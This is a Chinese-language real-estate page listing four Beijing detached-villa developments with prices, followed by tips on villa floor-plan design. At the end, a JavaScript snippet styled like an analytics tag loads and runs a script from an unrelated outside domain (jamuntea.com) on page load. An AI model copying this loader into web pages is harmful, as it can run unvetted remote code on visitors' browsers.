热门北京独栋别墅荟萃

如今，人们的居住品质变得越来越高，对住房的实用性、舒适性等各个方面都有了全新的要求。而别墅正满足了人们的居住品质的较高追求，为人们提供了一个惬意的居住场所。今天，小编就为大家来盘点一下最近北京热门的别墅区。1.御汤山该别墅由北京天时房地产开发公司所建设，属于纯独栋别墅建筑群。该别墅群选址于北京汤泉行宫，别墅居住区的占地面积共有113万平米，总建筑面积高达45万平米，共有别墅1044套，并拥有17种户型可选。该别墅群的整体建筑风格采用了地中海风情，融合了法师建筑与西班牙建筑的风格，将经典的西式建筑美学完美的展现出来。该别墅群的首推房价在1100-1800万元/栋。2.北京半岛北京半岛选址于青龙湖，社区内景观与自然景色相融合，形成了完美的湖滨、森林公园、高尔夫球场景观，依山傍水、风景独好。该别墅群中共有92栋独栋别墅，建筑面积为29000平米，绿化率高达57%，居住宜人。该别墅的参考房价为30000元/平米。3.清凉盛景别墅该别墅群坐落于八达岭自然风景区内，距离八达岭长城景点仅有2km的路程，并且临近七彩峰公园、残长城等景观。该别墅区的海拔高度位于585米-630米之间，主打联排别墅与独栋别墅，主力户型分别为245-350平米之间。参考房价：堵洞720万元/栋，联排388万元/套。4.北京御墅北京御墅位于北京市内的核心地段顺义新城，是国内的首个高端度假社区。该别墅群的占地面积共为32万平方米，总建筑面积则达到了11万平方米。项目内的独栋别墅采取了亚洲风格的外观，将传统的中国四合院建筑理念融汇其中，打造出一片大气的景观院落住房，保持开放式居住理念的同时又兼顾到了居住的私密性。同时，别墅区内配备了私人酒窖、湖滨雪茄房等高端会所，为业主提供了优质的娱乐休闲环境与放松交友场合。该别墅区的参考房价26000元/平米。以上这四个就是北京近期比较热门的独栋别墅建筑群，希望能对各位朋友有多帮助。

独栋别墅户型的设计有哪些注意事项

别墅一直以来就是身份的象征，而自从国内出台了“禁别令”，独栋别墅就更能凸现地位了。和其它的房屋一样，进行独栋别墅户型设计时也有四点注意事项：建筑造型、分层分析、景观、安全与私密性。一、建筑造型 一般来说，我们对于独栋别墅户型的第一印象并不是室内，而是别墅的造型。因此独栋别墅户型的造型风格决定了独栋别墅户型的风貌，独栋别墅户型有庄园式、城堡式、西班牙式、地中海式、北欧现代式、热带田园风、简约主义式……各式各样的应有尽有。好的独栋别墅造型，屋顶是斜度对，而且开口长宽的比例也很美，立面的比例正确。另外，好的独栋别墅造型应该是你自己喜爱的，否则别人夸的再好，你住起来也不会很舒服。二、分层分析 一般的独栋别墅户型有2~3层加地下室，地下室需要要注意的就是地下层的采光问题，可以通过设置采光井来解决。另外地下层还需要注意防潮和排水通风的问题；一楼一般是作为待客使用的，因此客厅与要与其他空间适当分开；二层通常是用做次卧和儿童房等，还可以设置为起居室，也不会影响到一层；第三层通常是主卧，卧套房面积最好在40平方米以上，可以包括书房、卧室、卫生间、衣帽间及阳台等。三、景观 好的独栋别墅户型周围应该可以为别墅内部提供良好的“远景”，因为好的景观才能表现出良好的生活品质。四、安全与私密性 独栋别墅户型的安全与私密性是最需要注意的，像高墙、电子安全设备和夜间照明等设施都是必不可少的，而访客过滤是保证私密性的基本手法。 除了以上四点需要注意的，设计独栋别墅户型时个人的喜好也是很重要的。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();